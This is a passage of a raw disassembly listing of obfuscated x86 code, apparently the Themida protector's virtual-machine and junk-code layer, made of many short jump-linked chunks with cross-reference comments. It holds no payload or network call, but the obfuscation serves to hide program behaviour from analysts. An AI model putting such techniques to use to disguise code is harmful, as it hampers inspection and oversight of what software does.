eax, edx mov edx, [esp] jmp loc_547AC1 ; --------------------------------------------------------------------------- loc_545052: ; CODE XREF: Themida_:00545F74j not bp jmp loc_54EBF0 ; --------------------------------------------------------------------------- loc_54505A: ; CODE XREF: Themida_:0054F5A7j mov esi, 0E1A4F075h add esi, ecx pop ecx add eax, esi mov esi, [esp] add esp, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_549F85 ; --------------------------------------------------------------------------- loc_545083: ; CODE XREF: Themida_:0054F785j and dl, 0B3h xor dl, 0EDh sub dl, 0FFh neg dl dec dl push ebx mov bh, 0 or bh, 0D9h sub bh, 0CDh inc bh sub bh, 0FFh xor bh, 0F6h push 3824h mov [esp], ecx mov cl, 0F7h sub cl, 9Dh jmp loc_54DA35 ; --------------------------------------------------------------------------- loc_5450B3: ; CODE XREF: Themida_:00548E73j mov ax, [esp] push ebx mov ebx, esp push edx push esi mov esi, 201E4C7Ah shl esi, 1 push ebp mov ebp, 3C2D5E1Dh and esi, ebp pop ebp add esi, 500F3B71h mov edx, esi pop esi sub esp, 4 mov [esp], ebp mov ebp, 25D87BE0h not ebp neg ebp not ebp or ebp, 6D536BB5h add ebp, 44736CE3h add edx, ebp pop ebp xor edx, 38C0266Ah add edx, 66301D59h jmp loc_54FBE6 ; --------------------------------------------------------------------------- loc_545109: ; CODE XREF: Themida_:0054A9CDj add ebp, edi jmp loc_546B53 ; --------------------------------------------------------------------------- loc_545110: ; CODE XREF: Themida_:0054C99Fj sub eax, esi mov esi, [esp] add esp, 4 add ebp, eax pop eax jmp loc_5460A7 ; --------------------------------------------------------------------------- loc_545123: ; CODE XREF: Themida_:0054C1F7j add ebp, edx add ebp, 61941455h jmp loc_548F4B ; --------------------------------------------------------------------------- loc_545130: ; CODE XREF: Themida_:00544455j mov ebp, esp add ebp, 4 jmp loc_546AEE ; --------------------------------------------------------------------------- loc_54513D: ; CODE XREF: Themida_:0054A29Bj mov ecx, 0A232ADAFh sub ecx, edx pop edx xor ecx, eax pop eax or [edi+1Ch], ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_54F43D ; --------------------------------------------------------------------------- loc_545160: ; CODE XREF: Themida_:00549445j add ebp, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54779B ; --------------------------------------------------------------------------- loc_545185: ; CODE XREF: Themida_:0054D362j xchg eax, [esp] jmp loc_549C0A ; --------------------------------------------------------------------------- loc_54518D: ; CODE XREF: Themida_:00547553j pop ecx add edi, edx pop edx push 416Fh mov [esp], edi mov esi, [esp] add esp, 4 pop edi add [edi+24h], esi push dword ptr [esp] jmp loc_54CCFB ; --------------------------------------------------------------------------- loc_5451AB: ; CODE XREF: Themida_:005478C6j add ebp, 0FFFFFFFFh jmp loc_5474EF ; --------------------------------------------------------------------------- mov ecx, [esp] jmp loc_54C4B1 ; --------------------------------------------------------------------------- loc_5451BE: ; CODE XREF: Themida_:0054FFE3j add edi, 6B0D3990h xor edi, 7E53970Ch jmp loc_54E36A ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 22B3016Ch shr ebp, 5 jmp loc_54B12C ; --------------------------------------------------------------------------- loc_545202: ; CODE XREF: Themida_:0054BF99j mov [esp], edx push esp pop edx push esi jmp loc_54E7F2 ; --------------------------------------------------------------------------- loc_54520D: ; CODE XREF: Themida_:0054B90Dj add ebp, eax mov eax, [esp] push edi mov edi, esp jmp loc_546D7A ; --------------------------------------------------------------------------- loc_54521A: ; CODE XREF: Themida_:0054D37Dj mov esi, 4 add [esp+4], esi jmp loc_547A62 ; --------------------------------------------------------------------------- loc_545228: ; CODE XREF: Themida_:0054687Ej mov ch, dl pop edx jmp loc_54AEDB ; --------------------------------------------------------------------------- loc_545230: ; CODE XREF: Themida_:00549B82j push ebx jmp loc_54E5EF ; --------------------------------------------------------------------------- loc_545236: ; CODE XREF: Themida_:005496C0j mov ecx, [esp] jmp loc_54B595 ; --------------------------------------------------------------------------- loc_54523E: ; CODE XREF: Themida_:0054A6B0j pop esp xor ebp, [esp] jmp loc_54E286 ; --------------------------------------------------------------------------- loc_545247: ; CODE XREF: Themida_:0054B5C4j sub esi, 776E42EFh jmp loc_54C6FF ; --------------------------------------------------------------------------- loc_545252: ; CODE XREF: Themida_:0054CB4Cj pop ebp add ebx, ebp pop ebp jmp loc_5476A9 ; --------------------------------------------------------------------------- loc_54525B: ; CODE XREF: Themida_:0054E225j push ebx mov ebx, esp sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_547227 ; --------------------------------------------------------------------------- loc_545280: ; CODE XREF: Themida_:00548C32j push edx mov edx, 3C366600h jmp loc_549ECA ; --------------------------------------------------------------------------- loc_54528B: ; CODE XREF: Themida_:005474C8j mov bl, al jmp loc_54D569 ; --------------------------------------------------------------------------- loc_545292: ; CODE XREF: Themida_:00544253j mov ebx, 3ED83E30h jmp loc_546F95 ; --------------------------------------------------------------------------- loc_54529C: ; CODE XREF: Themida_:00546D1Dj pop esp push cx mov cl, 6 add bl, cl pop cx sub bl, dh push dx mov dh, 6 sub bl, dh pop dx pop dx jmp loc_54CEB7 ; --------------------------------------------------------------------------- loc_5452B6: ; CODE XREF: Themida_:0054A405j add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54E3A0 ; --------------------------------------------------------------------------- loc_5452D3: ; CODE XREF: Themida_:00547F53j mov [esp], edi jmp loc_54624F ; --------------------------------------------------------------------------- loc_5452DB: ; CODE XREF: Themida_:0054EAA7j pop ecx add esp, 4 push ebx push esp pop ebx push ecx mov ecx, 39F53525h dec ecx jmp loc_548E8B ; --------------------------------------------------------------------------- loc_5452EE: ; CODE XREF: Themida_:0054E6D7j push edx mov edx, 10D761E2h not edx xor edx, 0CC62CF57h mov edi, edx pop edx and edi, 79376BF0h sub edi, 229A42EFh jmp loc_54AC2A ; --------------------------------------------------------------------------- loc_545310: ; CODE XREF: Themida_:00548176j push edx push 436437CFh push dword ptr [esp] mov edx, [esp] jmp loc_54E486 ; --------------------------------------------------------------------------- loc_545321: ; CODE XREF: Themida_:0054A3CCj push ecx jmp loc_547072 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_544C84 ; --------------------------------------------------------------------------- loc_545331: ; CODE XREF: Themida_:0054E377j pop ebp push 34ECh mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 loc_54534D: ; DATA XREF: ___:off_43CCB4o jmp loc_54FBBD ; --------------------------------------------------------------------------- loc_545352: ; CODE XREF: Themida_:005494B6j xor eax, [esp] pop esp rol word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_545360: ; CODE XREF: Themida_:0054EAF2j push bx mov bl, 89h sub al, 62h sub al, bl add al, 62h mov bx, [esp] push edi mov edi, esp jmp loc_5493DA ; --------------------------------------------------------------------------- loc_545376: ; CODE XREF: Themida_:0054725Fj pop dword ptr [esp] pop esp mul cx push small 4BBEh mov [esp], dx push ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54538D: ; CODE XREF: Themida_:00544C42j push ebx mov ebx, 13CE42A7h jmp loc_54CD33 ; --------------------------------------------------------------------------- loc_545398: ; CODE XREF: Themida_:0054F724j pop edi jmp loc_547264 ; --------------------------------------------------------------------------- loc_54539E: ; CODE XREF: Themida_:0054B41Dj pop esp jmp loc_546DCD ; --------------------------------------------------------------------------- loc_5453A4: ; CODE XREF: Themida_:00547397j push 28Ch jmp loc_5467D4 ; --------------------------------------------------------------------------- loc_5453AE: ; CODE XREF: Themida_:0054809Fj mov esi, 4 jmp loc_547D87 ; --------------------------------------------------------------------------- loc_5453B8: ; CODE XREF: Themida_:00546C18j neg ecx not ecx add ecx, 0F4388039h add ebx, ecx pop ecx push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], edx push 272Ch mov [esp], ebp push ebx push 5BDA54B0h pop ebx sub ebx, 8CA2BADh jmp loc_545029 ; --------------------------------------------------------------------------- loc_5453EF: ; CODE XREF: Themida_:0054D0A5j pop ecx sub ecx, 3BD30F6Fh neg ecx sub ecx, 468CF86h mov esi, ecx pop ecx add ebx, esi pop esi jmp loc_5475B0 ; --------------------------------------------------------------------------- loc_545409: ; CODE XREF: Themida_:005499A2j push ebp jmp loc_54ABCD ; --------------------------------------------------------------------------- loc_54540F: ; CODE XREF: Themida_:00548F05j mov [esp], ecx push 1082h mov [esp], esi jmp loc_54C398 ; --------------------------------------------------------------------------- loc_54541F: ; CODE XREF: Themida_:0054E824j add edi, 4 push 5916h mov [esp], eax mov eax, 4 sub edi, 6CA61F92h sub edi, eax jmp loc_5471AE ; --------------------------------------------------------------------------- loc_54543F: ; CODE XREF: Themida_:0054EB7Ej mov [esp], edi push dword ptr [esp+4] jmp loc_54C4D1 ; --------------------------------------------------------------------------- loc_54544B: ; CODE XREF: Themida_:00549C5Fj pop esp add esp, 4 sub [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_545458: ; CODE XREF: Themida_:0054D96Ej mov bh, 54h sub al, bh jmp loc_54A0BD ; --------------------------------------------------------------------------- loc_545461: ; CODE XREF: Themida_:00547D04j sub ecx, 61204781h add eax, ecx pop ecx sub eax, 4 xchg eax, [esp] pop esp jmp loc_54EFF6 ; --------------------------------------------------------------------------- loc_545476: ; CODE XREF: Themida_:0054F318j sub ecx, esi mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg ecx, [esp] pop esp mov [esp], edx mov dl, 0E8h xor bl, dl pop edx jmp loc_547165 ; --------------------------------------------------------------------------- loc_54549F: ; CODE XREF: Themida_:0054646Fj mov dl, 0D9h sub dl, 80h xor dl, 8Eh and dl, 0BEh shr dl, 6 xor dl, 0Bh jmp loc_54DE81 ; --------------------------------------------------------------------------- loc_5454B5: ; CODE XREF: Themida_:00546B5Ej movzx ecx, al push 7B0Ch jmp loc_54582E ; --------------------------------------------------------------------------- loc_5454C2: ; CODE XREF: Themida_:0054C736j add edi, 4 push edx jmp loc_546B06 ; --------------------------------------------------------------------------- loc_5454CE: ; CODE XREF: Themida_:0054FBF5j pop eax add ebx, edx pop edx jmp loc_54DE49 ; --------------------------------------------------------------------------- loc_5454D7: ; CODE XREF: Themida_:00546606j mov ecx, 2 add edi, ecx jmp loc_5500D3 ; --------------------------------------------------------------------------- loc_5454E3: ; CODE XREF: Themida_:0054C833j jmp loc_544022 ; --------------------------------------------------------------------------- loc_5454E8: ; CODE XREF: Themida_:0054ED0Ej pop edi jmp loc_54DB0D ; --------------------------------------------------------------------------- loc_5454EE: ; CODE XREF: Themida_:00548E86j pop eax pop edx sub al, 0A1h add al, bh add al, 0A1h mov bx, [esp] add esp, 2 push edx mov dl, 0C4h jmp loc_546F00 ; --------------------------------------------------------------------------- loc_545508: ; CODE XREF: Themida_:0054DC9Bj xchg edx, [esp] jmp loc_54C78E ; --------------------------------------------------------------------------- loc_545510: ; CODE XREF: Themida_:00545693j pop esp add al, bl mov ebx, [esp] add esp, 4 push ecx sub esp, 4 mov [esp], edx push ebx push ecx mov ch, 1Eh mov bl, 0B5h sub bl, ch pop ecx mov dh, bl pop ebx push ebx mov bh, dh jmp loc_546A3C ; --------------------------------------------------------------------------- loc_545537: ; CODE XREF: Themida_:005493C3j push ebx mov ebx, 0B7A5162h shl ebx, 7 add ebx, 3E444A4Ch shl ebx, 7 sub ebx, 5D357C58h sub ebp, ebx pop ebx push dword ptr [esp] pop esi add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp cmp cl, al pushf jmp loc_54F73A ; --------------------------------------------------------------------------- loc_54556B: ; CODE XREF: Themida_:00546575j push dword ptr [esp] pop ecx add esp, 4 mov edx, [esp] add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- loc_54557D: ; CODE XREF: Themida_:00548983j mov esi, eax pop eax add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] jmp loc_54B669 ; --------------------------------------------------------------------------- loc_545591: ; CODE XREF: Themida_:00548B08j pop esp mov [esp], esi mov esi, 19AE2CEFh sub [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_5490E1 ; --------------------------------------------------------------------------- loc_5455AC: ; CODE XREF: Themida_:0054BF88j add ecx, 47691188h neg ecx jmp loc_54B774 ; --------------------------------------------------------------------------- loc_5455B9: ; CODE XREF: Themida_:00544E0Dj add edx, 392E3A00h shr edx, 2 xor edx, 323D46BFh mov ebp, edx jmp loc_54BF6F ; --------------------------------------------------------------------------- loc_5455CF: ; CODE XREF: Themida_:0054A6BAj pop ecx pop eax xor dh, 0DEh push eax push ecx mov cl, dh mov al, cl jmp loc_548E83 ; --------------------------------------------------------------------------- loc_5455DF: ; CODE XREF: Themida_:005468F8j sub edx, 2 xchg edx, [esp] jmp loc_548692 ; --------------------------------------------------------------------------- loc_5455ED: ; CODE XREF: Themida_:005484E5j sub ebx, 4 jmp loc_547E40 ; --------------------------------------------------------------------------- loc_5455F8: ; CODE XREF: Themida_:0054DC75j add esp, 4 sub ebx, 1D343F46h sub ebx, eax add ebx, 1D343F46h push ecx mov ecx, 39FB57BDh jmp loc_54E1A0 ; --------------------------------------------------------------------------- loc_545614: ; CODE XREF: Themida_:00545829j push 57D0h mov [esp], eax sub esp, 4 jmp loc_5462E5 ; --------------------------------------------------------------------------- loc_545624: ; CODE XREF: Themida_:0054A06Cj mov [esp], ecx mov cx, 5D8h dec cx shr cx, 2 jmp loc_5492DF ; --------------------------------------------------------------------------- loc_545636: ; CODE XREF: Themida_:0054F93Cj pop dword ptr [esp] pop esp jmp loc_54700A ; --------------------------------------------------------------------------- loc_54563F: ; CODE XREF: Themida_:005458B6j push esi push 26FA16E5h pop esi jmp loc_545A27 ; --------------------------------------------------------------------------- loc_54564B: ; CODE XREF: Themida_:00544DC9j dec dword ptr [esp] pop eax sub eax, 1A02D273h add ebx, eax pop eax pop esi jmp loc_54461D ; --------------------------------------------------------------------------- loc_54565D: ; CODE XREF: Themida_:0054CF4Ej xchg edx, [esp] pop esp not edx inc edx push 7320h mov [esp], ebp mov ebp, 4543684Eh add ebp, 1073CFE6h or edx, ebp mov ebp, [esp] jmp loc_54DC82 ; --------------------------------------------------------------------------- loc_545681: ; CODE XREF: Themida_:0054C42Cj shl dl, 3 push cx mov ch, dl jmp loc_547CE8 ; --------------------------------------------------------------------------- loc_54568D: ; CODE XREF: Themida_:0054BCECj add esi, 2 xchg esi, [esp] jmp loc_545510 ; --------------------------------------------------------------------------- loc_545698: ; CODE XREF: Themida_:00549528j sub esp, 4 mov [esp], ebp push 2 pop ebp add ecx, ebp jmp loc_54C549 ; --------------------------------------------------------------------------- loc_5456AE: ; CODE XREF: Themida_:005477E2j pop ebx xor al, ch mov cx, [esp] push edi jmp loc_54C69E ; --------------------------------------------------------------------------- loc_5456BB: ; CODE XREF: Themida_:0054A0D8j sub bl, 0FFh jmp loc_548B84 ; --------------------------------------------------------------------------- loc_5456C3: ; CODE XREF: Themida_:0054B940j add ebp, 3DB359F3h sub ebp, edx sub ebp, 3DB359F3h pop edx push ebp jmp loc_5481EC ; --------------------------------------------------------------------------- loc_5456D8: ; CODE XREF: Themida_:0054EC8Aj push esp mov eax, [esp] add esp, 4 add eax, 4 push esi mov esi, 2 jmp loc_548582 ; --------------------------------------------------------------------------- loc_5456F2: ; CODE XREF: Themida_:0054E128j pop eax push ebp jmp loc_549DA5 ; --------------------------------------------------------------------------- loc_5456F9: ; CODE XREF: Themida_:00548763j xor [esp], edx xor edx, [esp] jmp loc_544FFE ; --------------------------------------------------------------------------- loc_545704: ; CODE XREF: Themida_:0054E2F2j xor [esp], eax jmp loc_5493A6 ; --------------------------------------------------------------------------- loc_54570C: ; CODE XREF: Themida_:0054ACFAj mov [esp], esi jmp loc_544F46 ; --------------------------------------------------------------------------- loc_545714: ; CODE XREF: Themida_:0054BE14j not cl jmp loc_54F2B1 ; --------------------------------------------------------------------------- loc_54571B: ; CODE XREF: Themida_:0054E7D1j push esi mov esi, 2 push ebp jmp loc_54C178 ; --------------------------------------------------------------------------- loc_545727: ; CODE XREF: Themida_:00545F2Aj mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54EA32 ; --------------------------------------------------------------------------- loc_545743: ; CODE XREF: Themida_:0054DED4j sub ebp, ecx jmp loc_54DA76 ; --------------------------------------------------------------------------- loc_54574A: ; CODE XREF: Themida_:0054C58Bj mov ecx, [esp] jmp loc_546731 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_54C1DD ; --------------------------------------------------------------------------- loc_545761: ; CODE XREF: Themida_:00544C4Fj mov edx, [esp] jmp loc_544374 ; --------------------------------------------------------------------------- loc_545769: ; CODE XREF: Themida_:0054D282j pop esi xchg ebx, [esp] pop esp idiv cl movzx cx, ah push small 6605h mov [esp], cx movzx cx, al push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_545788: ; CODE XREF: Themida_:00545B67j xor ebp, 64FF3323h mov edi, ebp pop ebp add esi, edi jmp loc_54A87E ; --------------------------------------------------------------------------- loc_545798: ; CODE XREF: Themida_:0054FD39j push esp pop esi add esi, 4 jmp loc_544838 ; --------------------------------------------------------------------------- loc_5457A5: ; CODE XREF: Themida_:0054F5DFj and esi, 44D26EFh push ebp mov ebp, 25081706h neg ebp or ebp, 38B97FAAh neg ebp add ebp, 418F4DE3h add esi, ebp mov ebp, [esp] jmp loc_54F71C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] pop esp mov [esp], ecx push esp push dword ptr [esp] jmp loc_54A83B ; --------------------------------------------------------------------------- loc_5457F3: ; CODE XREF: Themida_:0054F0E9j shl ecx, 8 inc ecx sub ecx, 91F7B5CBh xor ecx, ebp pop ebp and eax, ecx push dword ptr [esp] pop ecx jmp loc_54F31D ; --------------------------------------------------------------------------- loc_54580B: ; CODE XREF: Themida_:0054906Aj add esp, 4 pop ecx push 6B95h mov [esp], ebp push 8000h push dword ptr [esp] jmp loc_54B9A8 ; --------------------------------------------------------------------------- loc_545827: ; CODE XREF: Themida_:005466AFj xor eax, ecx jmp loc_545614 ; --------------------------------------------------------------------------- loc_54582E: ; CODE XREF: Themida_:005454BDj mov [esp], ecx jmp loc_544022 ; --------------------------------------------------------------------------- loc_545836: ; CODE XREF: Themida_:005497CAj mov ecx, ebp jmp loc_54DFEA ; --------------------------------------------------------------------------- lodsd add eax, 147926FDh add eax, 3A462E05h add eax, ebx sub eax, 3A462E05h push esi mov esi, 1C3018A8h sub esp, 4 mov [esp], ecx mov ecx, 40D20DDh add ecx, 516341AEh xor ecx, 4FBF3AEAh xor ecx, 2FE4743Ch jmp loc_5497BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_545877: ; CODE XREF: sub_545BCC+372Bj sub bh, 63h sub al, bh jmp loc_54B0FB ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_545881: ; CODE XREF: Themida_:0054FA1Fj mov [edi+20h], eax pop eax pop ecx sub esp, 4 mov [esp], eax push esi mov esi, 0 mov eax, esi pop esi push ebx mov ebx, eax push ecx mov ecx, 24h add ecx, edi mov [ecx], ebx pop ecx pop ebx push dword ptr [esp] pop eax jmp loc_54BF2F ; --------------------------------------------------------------------------- loc_5458B0: ; CODE XREF: Themida_:0054866Dj add ebx, 4 jmp loc_54563F ; --------------------------------------------------------------------------- loc_5458BB: ; CODE XREF: Themida_:00549EEBj mov esi, 3702081Ch jmp loc_54CCDA ; --------------------------------------------------------------------------- loc_5458C5: ; CODE XREF: Themida_:0054FD48j shl edx, 1 jmp loc_545A53 ; --------------------------------------------------------------------------- loc_5458CC: ; CODE XREF: Themida_:0054B7EFj xor [esp], eax jmp loc_5488DE ; --------------------------------------------------------------------------- loc_5458D4: ; CODE XREF: Themida_:0054C988j xor edx, ebx pop ebx jmp loc_54426F ; --------------------------------------------------------------------------- loc_5458DC: ; CODE XREF: Themida_:0054E679j mov edx, esp push ebx mov ebx, 4 jmp loc_54B0D4 ; --------------------------------------------------------------------------- loc_5458E9: ; CODE XREF: Themida_:0054B127j sub eax, esi sub eax, 39B0466Eh add eax, 1B980434h push dword ptr [esp] mov esi, [esp] add esp, 4 push ecx mov ecx, esp push edi jmp loc_54ABB9 ; --------------------------------------------------------------------------- loc_545907: ; CODE XREF: Themida_:00548B3Aj mov dl, 0ABh mov cl, dl mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_548426 ; --------------------------------------------------------------------------- loc_545921: ; CODE XREF: Themida_:0054BD8Aj xor ecx, ebx jmp loc_54970D ; --------------------------------------------------------------------------- loc_545928: ; CODE XREF: Themida_:00546ACFj sub ebx, eax jmp loc_546669 ; --------------------------------------------------------------------------- loc_54592F: ; CODE XREF: Themida_:005483EBj push ebx jmp loc_5442D0 ; --------------------------------------------------------------------------- loc_545935: ; CODE XREF: Themida_:0054D81Fj add edi, esi add edi, 54437A4h pop esi jmp loc_54D8DB ; --------------------------------------------------------------------------- loc_545943: ; CODE XREF: Themida_:0054B631j push ebp jmp loc_54DACB ; --------------------------------------------------------------------------- loc_545949: ; CODE XREF: Themida_:00546D8Dj mov al, bl pop ebx add al, 0Dh and al, 4Ah and al, 2Dh jmp loc_5444C9 ; --------------------------------------------------------------------------- loc_545957: ; CODE XREF: Themida_:00548EC3j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54595C: ; CODE XREF: Themida_:0054DF67j push ebp mov ebp, 393E3C00h mov eax, 0FE23291Bh add eax, ebp pop ebp sub eax, 4BB80678h shr eax, 6 or eax, 136011C5h xor eax, 13EEB5FBh sub esi, 7E585286h jmp loc_5473E9 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54D251 ; --------------------------------------------------------------------------- loc_545990: ; CODE XREF: Themida_:005471A3j push esi push esp mov esi, [esp] push edx mov edx, esp jmp loc_549AD5 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_54A146 ; --------------------------------------------------------------------------- loc_5459A9: ; CODE XREF: Themida_:0054B6CBj mov esi, [esp] jmp loc_548630 ; --------------------------------------------------------------------------- loc_5459B1: ; CODE XREF: Themida_:00547F26j mov edx, [esp] add esp, 4 add edx, 1062156Bh sub edx, 6C4BC60Ah push esi jmp loc_54967D ; --------------------------------------------------------------------------- loc_5459CC: ; CODE XREF: Themida_:0054BBF1j shr ebp, 5 and ebp, 5DC909D2h add ebp, 0C2DDC51Ah add edx, ebp jmp loc_54FFB5 ; --------------------------------------------------------------------------- loc_5459E2: ; CODE XREF: Themida_:0054E463j sub bx, 29B4h add bx, 0FFD4h jmp loc_54CFEA ; --------------------------------------------------------------------------- loc_5459F1: ; CODE XREF: Themida_:005493CDj pop ebp add ebx, 4 jmp loc_549A1A ; --------------------------------------------------------------------------- loc_5459FD: ; CODE XREF: Themida_:0054CE05j sub ebx, eax add ebx, 185D0842h movzx ax, byte ptr [eax] sub esp, 4 mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, 3AC46358h jmp loc_54B485 ; --------------------------------------------------------------------------- loc_545A27: ; CODE XREF: Themida_:00545646j xor esi, ebp xor ebp, esi jmp loc_54418E ; --------------------------------------------------------------------------- loc_545A30: ; CODE XREF: Themida_:0054660Dj jmp loc_544022 ; --------------------------------------------------------------------------- loc_545A35: ; CODE XREF: Themida_:0054469Bj mov eax, 4 sub ecx, eax jmp loc_54FB44 ; --------------------------------------------------------------------------- loc_545A41: ; CODE XREF: Themida_:005483A3j add edx, 4 jmp loc_547558 ; --------------------------------------------------------------------------- loc_545A4C: ; CODE XREF: Themida_:0054733Bj sub esi, edx jmp loc_549EB0 ; --------------------------------------------------------------------------- loc_545A53: ; CODE XREF: Themida_:005458C7j xchg esi, [edi+24h] push ebp mov ebp, 7C465412h or ebp, 716D58BAh shl ebp, 4 add ebp, 1 neg ebp add ebp, 0D6F5CBA2h add esi, ebp pop ebp push ebx mov ebx, 24h add ebx, 21C2137Ah add ebx, edi push edx mov edx, 21C2137Ah sub ebx, edx pop edx push ecx mov ecx, 0 add ecx, ebx jmp loc_54D7E9 ; --------------------------------------------------------------------------- loc_545A97: ; CODE XREF: Themida_:0054E541j pop esp mov [esp], dx push 22E6h jmp loc_54DA51 ; --------------------------------------------------------------------------- loc_545AA6: ; CODE XREF: Themida_:00545BC2j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esp pop ebp add ebp, 4 push edx jmp loc_549440 ; --------------------------------------------------------------------------- loc_545ABE: ; CODE XREF: Themida_:00548D3Ej xor edx, 598F01F4h jmp loc_54FDA1 ; --------------------------------------------------------------------------- loc_545AC9: ; CODE XREF: Themida_:00548903j xor ch, 68h xor al, ch pop ecx push 4FDAh jmp loc_5494DD ; --------------------------------------------------------------------------- loc_545AD9: ; CODE XREF: Themida_:0054BFE3j neg esi not esi jmp loc_54EEA5 ; --------------------------------------------------------------------------- loc_545AE2: ; CODE XREF: Themida_:00548886j mov eax, [esp] push esi mov esi, esp add esi, 4 jmp loc_54A948 ; --------------------------------------------------------------------------- loc_545AF3: ; CODE XREF: Themida_:0054FD55j mov ebx, 0 add ebx, eax mov [ebx], dl push dword ptr [esp] push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_54B893 ; --------------------------------------------------------------------------- loc_545B0B: ; CODE XREF: Themida_:0054E6BEj add ebx, ecx jmp loc_54A7DB ; --------------------------------------------------------------------------- loc_545B12: ; CODE XREF: Themida_:0054AC32j pop edi xor edx, eax pop eax loc_545B16: ; CODE XREF: Themida_:00547F0Bj ; Themida_:005484A6j push edx push ebx jmp loc_54EFD0 ; --------------------------------------------------------------------------- loc_545B1D: ; CODE XREF: Themida_:00546CF4j sub ebp, 4 xchg ebp, [esp] jmp loc_54888B ; --------------------------------------------------------------------------- loc_545B28: ; CODE XREF: Themida_:005441F7j jmp loc_544022 ; --------------------------------------------------------------------------- loc_545B2D: ; CODE XREF: Themida_:005479DCj xor ebx, edi pop edi push esi push 6C3DB458h pop esi sub ebx, esi pop esi jmp loc_545E9B ; --------------------------------------------------------------------------- loc_545B3F: ; CODE XREF: Themida_:0054D48Fj pop esp shl byte ptr [esp], cl pushf jmp loc_54FC82 ; --------------------------------------------------------------------------- loc_545B49: ; CODE XREF: Themida_:0054F68Bj xchg ebx, [esp] pop esp push 275Eh mov [esp], esi mov esi, esp push edi push ebp mov ebp, 64FF3326h push esi mov esi, 1 add ebp, esi pop esi jmp loc_545788 ; --------------------------------------------------------------------------- loc_545B6C: ; CODE XREF: Themida_:00548BFFj mov ecx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push esp jmp loc_54D34D ; --------------------------------------------------------------------------- loc_545B87: ; CODE XREF: Themida_:00545BE7j neg edi sub edi, 779F560Ah push edi sub dword ptr [esp], 150C6216h pop ecx add ecx, 150C6216h jmp loc_54FCBC ; --------------------------------------------------------------------------- loc_545BA3: ; CODE XREF: Themida_:0054D1A7j xor edx, ebp jmp loc_54D7BC ; --------------------------------------------------------------------------- loc_545BAA: ; CODE XREF: Themida_:00546D83j xchg edi, [esp] mov esp, [esp] push ebp push dword ptr [esp+4] jmp loc_54B873 ; --------------------------------------------------------------------------- loc_545BBA: ; CODE XREF: Themida_:0054EF6Ej mov ebp, esp add ebp, 4 jmp loc_545AA6 ; --------------------------------------------------------------------------- loc_545BC7: ; CODE XREF: Themida_:00545D01j jmp loc_544022 ; =============== S U B R O U T I N E ======================================= sub_545BCC proc near ; CODE XREF: sub_54EAB8+7F4j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005444DA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005446FA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00545877 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00547527 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00548A2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005492F4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005495B4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054AA25 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0054AE96 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0054B0FB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0054B95C SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0054D1EE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0054D9D7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0054F729 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0054FBB2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00550003 SIZE 0000000B BYTES sub esp, 4 mov [esp+0], ebx mov bh, 0F9h jmp loc_5495B4 sub_545BCC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_545BD9: ; CODE XREF: Themida_:0054D872j add esp, 4 neg edi push esi mov esi, 7E39758Eh and edi, esi pop esi jmp loc_545B87 ; --------------------------------------------------------------------------- loc_545BEC: ; CODE XREF: Themida_:0054B337j sub 